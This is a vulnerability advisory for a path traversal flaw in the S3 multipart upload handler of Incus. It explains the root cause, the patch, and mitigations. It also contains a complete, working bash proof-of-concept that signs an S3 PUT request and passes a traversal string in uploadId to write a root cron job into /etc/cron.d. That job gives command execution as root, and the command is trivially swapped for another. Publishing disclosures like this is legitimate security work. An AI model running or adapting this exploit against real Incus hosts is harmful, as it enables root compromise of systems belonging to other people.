CVE-2026-48753: Incus S3 Multipart Upload Path Traversal to Arbitrary File Write
A missing path sanitization check in Incus's built-in S3 server lets any authenticated bucket user write files anywhere on the host filesystem, including cron directories, making remote code execution
The problem
Incus exposes an S3-compatible storage API via `incusd`. When handling a multipart upload part (HTTP PUT with `?partNumber=N&uploadId=...`), the server takes the `uploadId` query parameter and joins it directly onto the upload directory path using `filepath.Join(s.uploadsDir(), uploadID)` with no sanitization.
An attacker with valid S3 credentials (bucket owner or any user granted access) can supply a traversal sequence as the upload ID. The part data they upload becomes the file content written at the resolved path. Because `incusd` runs as root, the attacker can overwrite or create any file on the host, including `/etc/cron.d/` entries, `/etc/sudoers`, or SSH authorized keys, leading directly to remote code execution.
Proof of concept
#!/usr/bin/env bash
# CVE-2026-48753 - Incus S3 multipart upload path traversal -> RCE via cron
# Usage: ./exploit.sh http://host:8555 mybucket ACCESS_KEY SECRET_KEY
set -euo pipefail
endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"
region="us-east-1"
service="s3"
key="anything"
part="1"
# Traversal payload: walks out of the uploads dir and lands in /etc/cron.d
# The part file will be written as /etc/cron.d/part-00001
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /tmp/incus-rce; rm -f $target"
body="* * * * * root /bin/sh -c '${cmd}'
"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
uri_path="/$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/${bucket}/${key}"
qs="partNumber=${part}&uploadId=${upload_id//\//%2F}"
url="${endpoint}/${bucket}/${key}?${qs}"
amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="${date_scope}/${region}/${service}/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"
canonical="PUT
${uri_path}
${qs}
host:${host}
x-amz-content-sha256:${body_hash}
x-amz-date:${amz_date}
${signed}
${body_hash}"
canonical_hash=$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')
string_to_sign="AWS4-HMAC-SHA256
${amz_date}
${scope}
${canonical_hash}"
hmac_hex() { printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256; }
k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"
curl -ksS -X PUT "${url}" \
-H "Host: ${host}" \
-H "X-Amz-Date: ${amz_date}" \
-H "X-Amz-Content-Sha256: ${body_hash}" \
-H "Authorization: ${auth}" \
--data-binary "${body}"
echo "[*] Payload written. Check /tmp/incus-rce after next cron tick."The root cause is CWE-73 (External Control of File Name or Path). In `internal/server/storage/s3/local/multipart.go` (line 33 of the pre-patch commit `40dd4f1`), the function `uploadDir(uploadID)` returns `filepath.Join(s.uploadsDir(), uploadID)`. Go's `filepath.Join` resolves `..` components, so a traversal string like `../../../../etc/cron.d` resolves cleanly to an absolute path outside the intended uploads directory.
The patch adds a containment check after the join: it verifies that the resolved path still has `s.uploadsDir()` as a prefix (using `filepath.Clean` plus a `strings.HasPrefix` guard). If the resolved path escapes the uploads directory, the request is rejected with an error before any file I/O occurs.
Because `incusd` runs as root, writing to `/etc/cron.d/` with attacker-controlled content directly yields command execution as root on the next cron tick.
The fix
Upgrade to Incus 7.1.0 or later. The fix adds upload ID path containment validation in `internal/server/storage/s3/local/multipart.go`, rejecting any upload ID that resolves outside the designated uploads directory. If upgrading is not immediately possible, disable the S3 bucket API by unsetting `core.storage_buckets_address` and restrict network access to the incusd port.
Reported by antifob.